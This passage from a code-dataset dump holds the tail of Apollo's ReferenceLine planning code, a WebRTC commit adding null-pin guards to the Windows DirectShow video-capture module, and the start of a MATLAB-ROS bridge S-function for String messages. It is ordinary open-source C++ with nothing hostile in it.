common::SLPoint sl_point;\n    if (!XYToSL(point, &sl_point)) {\n      AERROR << \"failed to get projection for point: \" << point.DebugString()\n             << \" on reference line.\";\n      return false;\n    }\n    start_s = std::fmin(start_s, sl_point.s());\n    end_s = std::fmax(end_s, sl_point.s());\n    start_l = std::fmin(start_l, sl_point.l());\n    end_l = std::fmax(end_l, sl_point.l());\n  }\n  sl_boundary->set_start_s(start_s);\n  sl_boundary->set_end_s(end_s);\n  sl_boundary->set_start_l(start_l);\n  sl_boundary->set_end_l(end_l);\n  return true;\n}\n\nbool ReferenceLine::HasOverlap(const common::math::Box2d& box) const {\n  SLBoundary sl_boundary;\n  if (!GetSLBoundary(box, &sl_boundary)) {\n    AERROR << \"Failed to get sl boundary for box \" << box.DebugString();\n    return false;\n  }\n  if (sl_boundary.end_s() < 0 || sl_boundary.start_s() > length()) {\n    return false;\n  }\n  if (sl_boundary.start_l() * sl_boundary.end_l() < 0) {\n    return false;\n  }\n\n  double left_width = 0.0;\n  double right_width = 0.0;\n  const double mid_s = (sl_boundary.start_s() + sl_boundary.end_s()) \/ 2.0;\n  if (!map_path_.get_width(mid_s, &left_width, &right_width)) {\n    AERROR << \"failed to get width at s = \" << mid_s;\n    return false;\n  }\n  if (sl_boundary.start_l() > 0) {\n    return sl_boundary.start_l() < left_width;\n  } else {\n    return sl_boundary.end_l() > -right_width;\n  }\n}\n\nstd::string ReferenceLine::DebugString() const {\n  const auto limit =\n      std::min(reference_points_.size(),\n               static_cast<size_t>(FLAGS_trajectory_point_num_for_debug));\n  return apollo::common::util::StrCat(\n      \"point num:\", reference_points_.size(),\n      apollo::common::util::PrintDebugStringIter(\n          reference_points_.begin(), reference_points_.begin() + limit, \"\"));\n}\n\ndouble ReferenceLine::GetSpeedLimitFromS(const double s) const {\n  const auto& map_path_point = get_reference_point(s);\n  double speed_limit = FLAGS_planning_speed_upper_limit;\n  for (const auto& lane_waypoint : map_path_point.lane_waypoints()) {\n    if (lane_waypoint.lane == nullptr) {\n      AWARN << \"lane_waypoint.lane is nullptr\";\n      continue;\n    }\n    speed_limit =\n        std::fmin(lane_waypoint.lane->lane().speed_limit(), speed_limit);\n  }\n  return speed_limit;\n}\n\ndouble ReferenceLine::GetSpeedLimitFromPoint(\n    const common::math::Vec2d& point) const {\n  SLPoint sl;\n  if (!XYToSL(point, &sl)) {\n    AWARN << \"Failed to get projection for point: \" << point.DebugString();\n    return FLAGS_planning_speed_upper_limit;\n  }\n  return GetSpeedLimitFromS(sl.s());\n}\n\n}  \/\/ namespace planning\n}  \/\/ namespace apollo\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"modules\/video_capture\/windows\/video_capture_ds.h\"\n\n#include \"modules\/video_capture\/video_capture_config.h\"\n#include \"modules\/video_capture\/windows\/help_functions_ds.h\"\n#include \"modules\/video_capture\/windows\/sink_filter_ds.h\"\n#include \"rtc_base\/logging.h\"\n\n#include <dvdmedia.h>  \/\/ VIDEOINFOHEADER2\n\nnamespace webrtc {\nnamespace videocapturemodule {\nVideoCaptureDS::VideoCaptureDS()\n    : _captureFilter(NULL),\n      _graphBuilder(NULL),\n      _mediaControl(NULL),\n      _sinkFilter(NULL),\n      _inputSendPin(NULL),\n      _outputCapturePin(NULL),\n      _dvFilter(NULL),\n      _inputDvPin(NULL),\n      _outputDvPin(NULL) {}\n\nVideoCaptureDS::~VideoCaptureDS() {\n  if (_mediaControl) {\n    _mediaControl->Stop();\n  }\n  if (_graphBuilder) {\n    if (_sinkFilter)\n      _graphBuilder->RemoveFilter(_sinkFilter);\n    if (_captureFilter)\n      _graphBuilder->RemoveFilter(_captureFilter);\n    if (_dvFilter)\n      _graphBuilder->RemoveFilter(_dvFilter);\n  }\n  RELEASE_AND_CLEAR(_inputSendPin);\n  RELEASE_AND_CLEAR(_outputCapturePin);\n\n  RELEASE_AND_CLEAR(_captureFilter);  \/\/ release the capture device\n  RELEASE_AND_CLEAR(_sinkFilter);\n  RELEASE_AND_CLEAR(_dvFilter);\n\n  RELEASE_AND_CLEAR(_mediaControl);\n\n  RELEASE_AND_CLEAR(_inputDvPin);\n  RELEASE_AND_CLEAR(_outputDvPin);\n\n  RELEASE_AND_CLEAR(_graphBuilder);\n}\n\nint32_t VideoCaptureDS::Init(const char* deviceUniqueIdUTF8) {\n  const int32_t nameLength = (int32_t)strlen((char*)deviceUniqueIdUTF8);\n  if (nameLength > kVideoCaptureUniqueNameLength)\n    return -1;\n\n  \/\/ Store the device name\n  _deviceUniqueId = new (std::nothrow) char[nameLength + 1];\n  memcpy(_deviceUniqueId, deviceUniqueIdUTF8, nameLength + 1);\n\n  if (_dsInfo.Init() != 0)\n    return -1;\n\n  _captureFilter = _dsInfo.GetDeviceFilter(deviceUniqueIdUTF8);\n  if (!_captureFilter) {\n    RTC_LOG(LS_INFO) << \"Failed to create capture filter.\";\n    return -1;\n  }\n\n  \/\/ Get the interface for DirectShow's GraphBuilder\n  HRESULT hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,\n                                IID_IGraphBuilder, (void**)&_graphBuilder);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to create graph builder.\";\n    return -1;\n  }\n\n  hr = _graphBuilder->QueryInterface(IID_IMediaControl, (void**)&_mediaControl);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to create media control builder.\";\n    return -1;\n  }\n  hr = _graphBuilder->AddFilter(_captureFilter, CAPTURE_FILTER_NAME);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to add the capture device to the graph.\";\n    return -1;\n  }\n\n  _outputCapturePin = GetOutputPin(_captureFilter, PIN_CATEGORY_CAPTURE);\n\n  \/\/ Create the sink filte used for receiving Captured frames.\n  _sinkFilter = new CaptureSinkFilter(SINK_FILTER_NAME, NULL, &hr, *this);\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to create send filter\";\n    return -1;\n  }\n  _sinkFilter->AddRef();\n\n  hr = _graphBuilder->AddFilter(_sinkFilter, SINK_FILTER_NAME);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to add the send filter to the graph.\";\n    return -1;\n  }\n  _inputSendPin = GetInputPin(_sinkFilter);\n\n  \/\/ Temporary connect here.\n  \/\/ This is done so that no one else can use the capture device.\n  if (SetCameraOutput(_requestedCapability) != 0) {\n    return -1;\n  }\n  hr = _mediaControl->Pause();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO)\n        << \"Failed to Pause the Capture device. Is it already occupied? \" << hr;\n    return -1;\n  }\n  RTC_LOG(LS_INFO) << \"Capture device '\" << deviceUniqueIdUTF8\n                   << \"' initialized.\";\n  return 0;\n}\n\nint32_t VideoCaptureDS::StartCapture(const VideoCaptureCapability& capability) {\n  rtc::CritScope cs(&_apiCs);\n\n  if (capability != _requestedCapability) {\n    DisconnectGraph();\n\n    if (SetCameraOutput(capability) != 0) {\n      return -1;\n    }\n  }\n  HRESULT hr = _mediaControl->Run();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to start the Capture device.\";\n    return -1;\n  }\n  return 0;\n}\n\nint32_t VideoCaptureDS::StopCapture() {\n  rtc::CritScope cs(&_apiCs);\n\n  HRESULT hr = _mediaControl->Pause();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to stop the capture graph. \" << hr;\n    return -1;\n  }\n  return 0;\n}\nbool VideoCaptureDS::CaptureStarted() {\n  OAFilterState state = 0;\n  HRESULT hr = _mediaControl->GetState(1000, &state);\n  if (hr != S_OK && hr != VFW_S_CANT_CUE) {\n    RTC_LOG(LS_INFO) << \"Failed to get the CaptureStarted status\";\n  }\n  RTC_LOG(LS_INFO) << \"CaptureStarted \" << state;\n  return state == State_Running;\n}\nint32_t VideoCaptureDS::CaptureSettings(VideoCaptureCapability& settings) {\n  settings = _requestedCapability;\n  return 0;\n}\n\nint32_t VideoCaptureDS::SetCameraOutput(\n    const VideoCaptureCapability& requestedCapability) {\n  \/\/ Get the best matching capability\n  VideoCaptureCapability capability;\n  int32_t capabilityIndex;\n\n  \/\/ Store the new requested size\n  _requestedCapability = requestedCapability;\n  \/\/ Match the requested capability with the supported.\n  if ((capabilityIndex = _dsInfo.GetBestMatchedCapability(\n           _deviceUniqueId, _requestedCapability, capability)) < 0) {\n    return -1;\n  }\n  \/\/ Reduce the frame rate if possible.\n  if (capability.maxFPS > requestedCapability.maxFPS) {\n    capability.maxFPS = requestedCapability.maxFPS;\n  } else if (capability.maxFPS <= 0) {\n    capability.maxFPS = 30;\n  }\n\n  \/\/ Convert it to the windows capability index since they are not nexessary\n  \/\/ the same\n  VideoCaptureCapabilityWindows windowsCapability;\n  if (_dsInfo.GetWindowsCapability(capabilityIndex, windowsCapability) != 0) {\n    return -1;\n  }\n\n  IAMStreamConfig* streamConfig = NULL;\n  AM_MEDIA_TYPE* pmt = NULL;\n  VIDEO_STREAM_CONFIG_CAPS caps;\n\n  HRESULT hr = _outputCapturePin->QueryInterface(IID_IAMStreamConfig,\n                                                 (void**)&streamConfig);\n  if (hr) {\n    RTC_LOG(LS_INFO) << \"Can't get the Capture format settings.\";\n    return -1;\n  }\n\n  \/\/ Get the windows capability from the capture device\n  bool isDVCamera = false;\n  hr = streamConfig->GetStreamCaps(windowsCapability.directShowCapabilityIndex,\n                                   &pmt, reinterpret_cast<BYTE*>(&caps));\n  if (!FAILED(hr)) {\n    if (pmt->formattype == FORMAT_VideoInfo2) {\n      VIDEOINFOHEADER2* h = reinterpret_cast<VIDEOINFOHEADER2*>(pmt->pbFormat);\n      if (capability.maxFPS > 0 && windowsCapability.supportFrameRateControl) {\n        h->AvgTimePerFrame = REFERENCE_TIME(10000000.0 \/ capability.maxFPS);\n      }\n    } else {\n      VIDEOINFOHEADER* h = reinterpret_cast<VIDEOINFOHEADER*>(pmt->pbFormat);\n      if (capability.maxFPS > 0 && windowsCapability.supportFrameRateControl) {\n        h->AvgTimePerFrame = REFERENCE_TIME(10000000.0 \/ capability.maxFPS);\n      }\n    }\n\n    \/\/ Set the sink filter to request this capability\n    _sinkFilter->SetMatchingMediaType(capability);\n    \/\/ Order the capture device to use this capability\n    hr += streamConfig->SetFormat(pmt);\n\n    \/\/ Check if this is a DV camera and we need to add MS DV Filter\n    if (pmt->subtype == MEDIASUBTYPE_dvsl ||\n        pmt->subtype == MEDIASUBTYPE_dvsd || pmt->subtype == MEDIASUBTYPE_dvhd)\n      isDVCamera = true;  \/\/ This is a DV camera. Use MS DV filter\n  }\n  RELEASE_AND_CLEAR(streamConfig);\n\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to set capture device output format\";\n    return -1;\n  }\n\n  if (isDVCamera) {\n    hr = ConnectDVCamera();\n  } else {\n    hr = _graphBuilder->ConnectDirect(_outputCapturePin, _inputSendPin, NULL);\n  }\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to connect the Capture graph \" << hr;\n    return -1;\n  }\n  return 0;\n}\n\nint32_t VideoCaptureDS::DisconnectGraph() {\n  HRESULT hr = _mediaControl->Stop();\n  hr += _graphBuilder->Disconnect(_outputCapturePin);\n  hr += _graphBuilder->Disconnect(_inputSendPin);\n\n  \/\/ if the DV camera filter exist\n  if (_dvFilter) {\n    _graphBuilder->Disconnect(_inputDvPin);\n    _graphBuilder->Disconnect(_outputDvPin);\n  }\n  if (hr != S_OK) {\n    RTC_LOG(LS_ERROR)\n        << \"Failed to Stop the Capture device for reconfiguration \" << hr;\n    return -1;\n  }\n  return 0;\n}\nHRESULT VideoCaptureDS::ConnectDVCamera() {\n  HRESULT hr = S_OK;\n\n  if (!_dvFilter) {\n    hr = CoCreateInstance(CLSID_DVVideoCodec, NULL, CLSCTX_INPROC,\n                          IID_IBaseFilter, (void**)&_dvFilter);\n    if (hr != S_OK) {\n      RTC_LOG(LS_INFO) << \"Failed to create the dv decoder: \" << hr;\n      return hr;\n    }\n    hr = _graphBuilder->AddFilter(_dvFilter, L\"VideoDecoderDV\");\n    if (hr != S_OK) {\n      RTC_LOG(LS_INFO) << \"Failed to add the dv decoder to the graph: \" << hr;\n      return hr;\n    }\n    _inputDvPin = GetInputPin(_dvFilter);\n    if (_inputDvPin == NULL) {\n      RTC_LOG(LS_INFO) << \"Failed to get input pin from DV decoder\";\n      return -1;\n    }\n    _outputDvPin = GetOutputPin(_dvFilter, GUID_NULL);\n    if (_outputDvPin == NULL) {\n      RTC_LOG(LS_INFO) << \"Failed to get output pin from DV decoder\";\n      return -1;\n    }\n  }\n  hr = _graphBuilder->ConnectDirect(_outputCapturePin, _inputDvPin, NULL);\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to connect capture device to the dv devoder: \"\n                     << hr;\n    return hr;\n  }\n\n  hr = _graphBuilder->ConnectDirect(_outputDvPin, _inputSendPin, NULL);\n  if (hr != S_OK) {\n    if (hr == HRESULT_FROM_WIN32(ERROR_TOO_MANY_OPEN_FILES)) {\n      RTC_LOG(LS_INFO) << \"Failed to connect the capture device, busy\";\n    } else {\n      RTC_LOG(LS_INFO) << \"Failed to connect capture device to the send graph: \"\n                       << hr;\n    }\n    return hr;\n  }\n  return hr;\n}\n}  \/\/ namespace videocapturemodule\n}  \/\/ namespace webrtc\n<commit_msg>Add guards to VideoCaptureDS::Init for when pins are null<commit_after>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"modules\/video_capture\/windows\/video_capture_ds.h\"\n\n#include \"modules\/video_capture\/video_capture_config.h\"\n#include \"modules\/video_capture\/windows\/help_functions_ds.h\"\n#include \"modules\/video_capture\/windows\/sink_filter_ds.h\"\n#include \"rtc_base\/logging.h\"\n\n#include <dvdmedia.h>  \/\/ VIDEOINFOHEADER2\n\nnamespace webrtc {\nnamespace videocapturemodule {\nVideoCaptureDS::VideoCaptureDS()\n    : _captureFilter(NULL),\n      _graphBuilder(NULL),\n      _mediaControl(NULL),\n      _sinkFilter(NULL),\n      _inputSendPin(NULL),\n      _outputCapturePin(NULL),\n      _dvFilter(NULL),\n      _inputDvPin(NULL),\n      _outputDvPin(NULL) {}\n\nVideoCaptureDS::~VideoCaptureDS() {\n  if (_mediaControl) {\n    _mediaControl->Stop();\n  }\n  if (_graphBuilder) {\n    if (_sinkFilter)\n      _graphBuilder->RemoveFilter(_sinkFilter);\n    if (_captureFilter)\n      _graphBuilder->RemoveFilter(_captureFilter);\n    if (_dvFilter)\n      _graphBuilder->RemoveFilter(_dvFilter);\n  }\n  RELEASE_AND_CLEAR(_inputSendPin);\n  RELEASE_AND_CLEAR(_outputCapturePin);\n\n  RELEASE_AND_CLEAR(_captureFilter);  \/\/ release the capture device\n  RELEASE_AND_CLEAR(_sinkFilter);\n  RELEASE_AND_CLEAR(_dvFilter);\n\n  RELEASE_AND_CLEAR(_mediaControl);\n\n  RELEASE_AND_CLEAR(_inputDvPin);\n  RELEASE_AND_CLEAR(_outputDvPin);\n\n  RELEASE_AND_CLEAR(_graphBuilder);\n}\n\nint32_t VideoCaptureDS::Init(const char* deviceUniqueIdUTF8) {\n  const int32_t nameLength = (int32_t)strlen((char*)deviceUniqueIdUTF8);\n  if (nameLength > kVideoCaptureUniqueNameLength)\n    return -1;\n\n  \/\/ Store the device name\n  _deviceUniqueId = new (std::nothrow) char[nameLength + 1];\n  memcpy(_deviceUniqueId, deviceUniqueIdUTF8, nameLength + 1);\n\n  if (_dsInfo.Init() != 0)\n    return -1;\n\n  _captureFilter = _dsInfo.GetDeviceFilter(deviceUniqueIdUTF8);\n  if (!_captureFilter) {\n    RTC_LOG(LS_INFO) << \"Failed to create capture filter.\";\n    return -1;\n  }\n\n  \/\/ Get the interface for DirectShow's GraphBuilder\n  HRESULT hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,\n                                IID_IGraphBuilder, (void**)&_graphBuilder);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to create graph builder.\";\n    return -1;\n  }\n\n  hr = _graphBuilder->QueryInterface(IID_IMediaControl, (void**)&_mediaControl);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to create media control builder.\";\n    return -1;\n  }\n  hr = _graphBuilder->AddFilter(_captureFilter, CAPTURE_FILTER_NAME);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to add the capture device to the graph.\";\n    return -1;\n  }\n\n  _outputCapturePin = GetOutputPin(_captureFilter, PIN_CATEGORY_CAPTURE);\n  if (!_outputCapturePin) {\n    RTC_LOG(LS_INFO) << \"Failed to get output capture pin\";\n    return -1;\n  }\n\n  \/\/ Create the sink filte used for receiving Captured frames.\n  _sinkFilter = new CaptureSinkFilter(SINK_FILTER_NAME, NULL, &hr, *this);\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to create send filter\";\n    return -1;\n  }\n  _sinkFilter->AddRef();\n\n  hr = _graphBuilder->AddFilter(_sinkFilter, SINK_FILTER_NAME);\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to add the send filter to the graph.\";\n    return -1;\n  }\n\n  _inputSendPin = GetInputPin(_sinkFilter);\n  if (!_inputSendPin) {\n    RTC_LOG(LS_INFO) << \"Failed to get input send pin\";\n    return -1;\n  }\n\n  \/\/ Temporary connect here.\n  \/\/ This is done so that no one else can use the capture device.\n  if (SetCameraOutput(_requestedCapability) != 0) {\n    return -1;\n  }\n  hr = _mediaControl->Pause();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO)\n        << \"Failed to Pause the Capture device. Is it already occupied? \" << hr;\n    return -1;\n  }\n  RTC_LOG(LS_INFO) << \"Capture device '\" << deviceUniqueIdUTF8\n                   << \"' initialized.\";\n  return 0;\n}\n\nint32_t VideoCaptureDS::StartCapture(const VideoCaptureCapability& capability) {\n  rtc::CritScope cs(&_apiCs);\n\n  if (capability != _requestedCapability) {\n    DisconnectGraph();\n\n    if (SetCameraOutput(capability) != 0) {\n      return -1;\n    }\n  }\n  HRESULT hr = _mediaControl->Run();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to start the Capture device.\";\n    return -1;\n  }\n  return 0;\n}\n\nint32_t VideoCaptureDS::StopCapture() {\n  rtc::CritScope cs(&_apiCs);\n\n  HRESULT hr = _mediaControl->Pause();\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to stop the capture graph. \" << hr;\n    return -1;\n  }\n  return 0;\n}\nbool VideoCaptureDS::CaptureStarted() {\n  OAFilterState state = 0;\n  HRESULT hr = _mediaControl->GetState(1000, &state);\n  if (hr != S_OK && hr != VFW_S_CANT_CUE) {\n    RTC_LOG(LS_INFO) << \"Failed to get the CaptureStarted status\";\n  }\n  RTC_LOG(LS_INFO) << \"CaptureStarted \" << state;\n  return state == State_Running;\n}\nint32_t VideoCaptureDS::CaptureSettings(VideoCaptureCapability& settings) {\n  settings = _requestedCapability;\n  return 0;\n}\n\nint32_t VideoCaptureDS::SetCameraOutput(\n    const VideoCaptureCapability& requestedCapability) {\n  \/\/ Get the best matching capability\n  VideoCaptureCapability capability;\n  int32_t capabilityIndex;\n\n  \/\/ Store the new requested size\n  _requestedCapability = requestedCapability;\n  \/\/ Match the requested capability with the supported.\n  if ((capabilityIndex = _dsInfo.GetBestMatchedCapability(\n           _deviceUniqueId, _requestedCapability, capability)) < 0) {\n    return -1;\n  }\n  \/\/ Reduce the frame rate if possible.\n  if (capability.maxFPS > requestedCapability.maxFPS) {\n    capability.maxFPS = requestedCapability.maxFPS;\n  } else if (capability.maxFPS <= 0) {\n    capability.maxFPS = 30;\n  }\n\n  \/\/ Convert it to the windows capability index since they are not nexessary\n  \/\/ the same\n  VideoCaptureCapabilityWindows windowsCapability;\n  if (_dsInfo.GetWindowsCapability(capabilityIndex, windowsCapability) != 0) {\n    return -1;\n  }\n\n  IAMStreamConfig* streamConfig = NULL;\n  AM_MEDIA_TYPE* pmt = NULL;\n  VIDEO_STREAM_CONFIG_CAPS caps;\n\n  HRESULT hr = _outputCapturePin->QueryInterface(IID_IAMStreamConfig,\n                                                 (void**)&streamConfig);\n  if (hr) {\n    RTC_LOG(LS_INFO) << \"Can't get the Capture format settings.\";\n    return -1;\n  }\n\n  \/\/ Get the windows capability from the capture device\n  bool isDVCamera = false;\n  hr = streamConfig->GetStreamCaps(windowsCapability.directShowCapabilityIndex,\n                                   &pmt, reinterpret_cast<BYTE*>(&caps));\n  if (!FAILED(hr)) {\n    if (pmt->formattype == FORMAT_VideoInfo2) {\n      VIDEOINFOHEADER2* h = reinterpret_cast<VIDEOINFOHEADER2*>(pmt->pbFormat);\n      if (capability.maxFPS > 0 && windowsCapability.supportFrameRateControl) {\n        h->AvgTimePerFrame = REFERENCE_TIME(10000000.0 \/ capability.maxFPS);\n      }\n    } else {\n      VIDEOINFOHEADER* h = reinterpret_cast<VIDEOINFOHEADER*>(pmt->pbFormat);\n      if (capability.maxFPS > 0 && windowsCapability.supportFrameRateControl) {\n        h->AvgTimePerFrame = REFERENCE_TIME(10000000.0 \/ capability.maxFPS);\n      }\n    }\n\n    \/\/ Set the sink filter to request this capability\n    _sinkFilter->SetMatchingMediaType(capability);\n    \/\/ Order the capture device to use this capability\n    hr += streamConfig->SetFormat(pmt);\n\n    \/\/ Check if this is a DV camera and we need to add MS DV Filter\n    if (pmt->subtype == MEDIASUBTYPE_dvsl ||\n        pmt->subtype == MEDIASUBTYPE_dvsd || pmt->subtype == MEDIASUBTYPE_dvhd)\n      isDVCamera = true;  \/\/ This is a DV camera. Use MS DV filter\n  }\n  RELEASE_AND_CLEAR(streamConfig);\n\n  if (FAILED(hr)) {\n    RTC_LOG(LS_INFO) << \"Failed to set capture device output format\";\n    return -1;\n  }\n\n  if (isDVCamera) {\n    hr = ConnectDVCamera();\n  } else {\n    hr = _graphBuilder->ConnectDirect(_outputCapturePin, _inputSendPin, NULL);\n  }\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to connect the Capture graph \" << hr;\n    return -1;\n  }\n  return 0;\n}\n\nint32_t VideoCaptureDS::DisconnectGraph() {\n  HRESULT hr = _mediaControl->Stop();\n  hr += _graphBuilder->Disconnect(_outputCapturePin);\n  hr += _graphBuilder->Disconnect(_inputSendPin);\n\n  \/\/ if the DV camera filter exist\n  if (_dvFilter) {\n    _graphBuilder->Disconnect(_inputDvPin);\n    _graphBuilder->Disconnect(_outputDvPin);\n  }\n  if (hr != S_OK) {\n    RTC_LOG(LS_ERROR)\n        << \"Failed to Stop the Capture device for reconfiguration \" << hr;\n    return -1;\n  }\n  return 0;\n}\nHRESULT VideoCaptureDS::ConnectDVCamera() {\n  HRESULT hr = S_OK;\n\n  if (!_dvFilter) {\n    hr = CoCreateInstance(CLSID_DVVideoCodec, NULL, CLSCTX_INPROC,\n                          IID_IBaseFilter, (void**)&_dvFilter);\n    if (hr != S_OK) {\n      RTC_LOG(LS_INFO) << \"Failed to create the dv decoder: \" << hr;\n      return hr;\n    }\n    hr = _graphBuilder->AddFilter(_dvFilter, L\"VideoDecoderDV\");\n    if (hr != S_OK) {\n      RTC_LOG(LS_INFO) << \"Failed to add the dv decoder to the graph: \" << hr;\n      return hr;\n    }\n    _inputDvPin = GetInputPin(_dvFilter);\n    if (_inputDvPin == NULL) {\n      RTC_LOG(LS_INFO) << \"Failed to get input pin from DV decoder\";\n      return -1;\n    }\n    _outputDvPin = GetOutputPin(_dvFilter, GUID_NULL);\n    if (_outputDvPin == NULL) {\n      RTC_LOG(LS_INFO) << \"Failed to get output pin from DV decoder\";\n      return -1;\n    }\n  }\n  hr = _graphBuilder->ConnectDirect(_outputCapturePin, _inputDvPin, NULL);\n  if (hr != S_OK) {\n    RTC_LOG(LS_INFO) << \"Failed to connect capture device to the dv devoder: \"\n                     << hr;\n    return hr;\n  }\n\n  hr = _graphBuilder->ConnectDirect(_outputDvPin, _inputSendPin, NULL);\n  if (hr != S_OK) {\n    if (hr == HRESULT_FROM_WIN32(ERROR_TOO_MANY_OPEN_FILES)) {\n      RTC_LOG(LS_INFO) << \"Failed to connect the capture device, busy\";\n    } else {\n      RTC_LOG(LS_INFO) << \"Failed to connect capture device to the send graph: \"\n                       << hr;\n    }\n    return hr;\n  }\n  return hr;\n}\n}  \/\/ namespace videocapturemodule\n}  \/\/ namespace webrtc\n<|endoftext|>"}
{"text":"<commit_before>\/********************************************************************\n * \n * Software License Agreement (BSD License)\n *\n * Copyright (c) 2012, Max-Planck-Gesellschaft\n * Copyright (c) 2012-2015, Inria\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n *  * Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *  * Redistributions in binary form must reproduce the above\n *    copyright notice, this list of conditions and the following\n *    disclaimer in the documentation and\/or other materials provided\n *    with the distribution.\n *  * Neither the name of the copyright holder nor the names of its\n *    contributors may be used to endorse or promote products derived\n *    from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ********************************************************************\/\n\n\n\/*\n * You must specify the S_FUNCTION_NAME as the name of your S-function\n * (i.e. replace sfuntmpl_basic with the name of your S-function).\n *\/\n\n#define S_FUNCTION_NAME  rmsg_pub_String\n#define S_FUNCTION_LEVEL 2\n\n#define STRINGIFY(x) #x\n#define TOSTRING(x) STRINGIFY(x)\n\n\n\/*\n * Need to include simstruc.h for the definition of the SimStruct and\n * its associated macro definitions.\n *\/\n#include \"simstruc.h\"\n\n#pragma push_macro(\"RT\")\n#undef RT\n\n#include <ros\/ros.h>\n\n\/\/ Generic Publisher\n#include <matlab_ros_bridge\/GenericPublisher.hpp>\n\n\/\/ Message\n#include <std_msgs\/String.h>\n\n#pragma pop_macro(\"RT\")\n\n#include <matlab_ros_bridge\/RosMatlabBrigdeDefines.hpp>\n\n#define MDL_CHECK_PARAMETERS\n#if defined(MDL_CHECK_PARAMETERS) && defined(MATLAB_MEX_FILE)\n  \/* Function: mdlCheckParameters =============================================\n   * Abstract:\n   *    Validate our parameters to verify:\n   *     o The numerator must be of a lower order than the denominator.\n   *     o The sample time must be a real positive nonzero value.\n   *\/\n  static void mdlCheckParameters(SimStruct *S)\n  {\n    \n    \/\/ Tsim\n\tif (mxIsEmpty( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsSparse( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsComplex( ssGetSFcnParam(S,0)) ||\n\t\t\tmxIsLogical( ssGetSFcnParam(S,0)) ||\n\t\t\t!mxIsNumeric( ssGetSFcnParam(S,0)) ||\n\t\t\t!mxIsDouble( ssGetSFcnParam(S,0)) ||\n\t\t\tmxGetNumberOfElements(ssGetSFcnParam(S,0)) != 1) {\n\t\tssSetErrorStatus(S,\"Simulation time must be a single double Value\");\n\t\treturn;\n\t}\n\n\t\/\/ Prefix Topic\n\tif (!mxIsChar( ssGetSFcnParam(S,1)) ) {\n\t\tssSetErrorStatus(S,\"Prefix value must be char array (string)\");\n\t\treturn;\n\t}\n\n    \/\/ String length\n    if (mxIsEmpty( ssGetSFcnParam(S,2)) ||\n            mxIsSparse( ssGetSFcnParam(S,2)) ||\n            mxIsComplex( ssGetSFcnParam(S,2)) ||\n            mxIsLogical( ssGetSFcnParam(S,2)) ||\n\t\t\t!mxIsChar(ssGetSFcnParam(S,2)) || \/\/ssGetDTypeIdFromMxArray(ssGetSFcnParam(S,2))!=SS_UINT32 ||\n            mxGetNumberOfElements(ssGetSFcnParam(S,2)) != 1) {\n        ssSetErrorStatus(S,\"String length must be a char\");\n        return;\n    }\n\n  }\n#endif \/* MDL_CHECK_PARAMETERS *\/\n\n\n\n\/* Error handling\n * --------------\n *\n * You should use the following technique to report errors encountered within\n * an S-function:\n *\n *       ssSetErrorStatus(S,\"Error encountered due to ...\");\n *       return;\n *\n * Note that the 2nd argument to ssSetErrorStatus must be persistent memory.\n * It cannot be a local variable. For example the following will cause\n * unpredictable 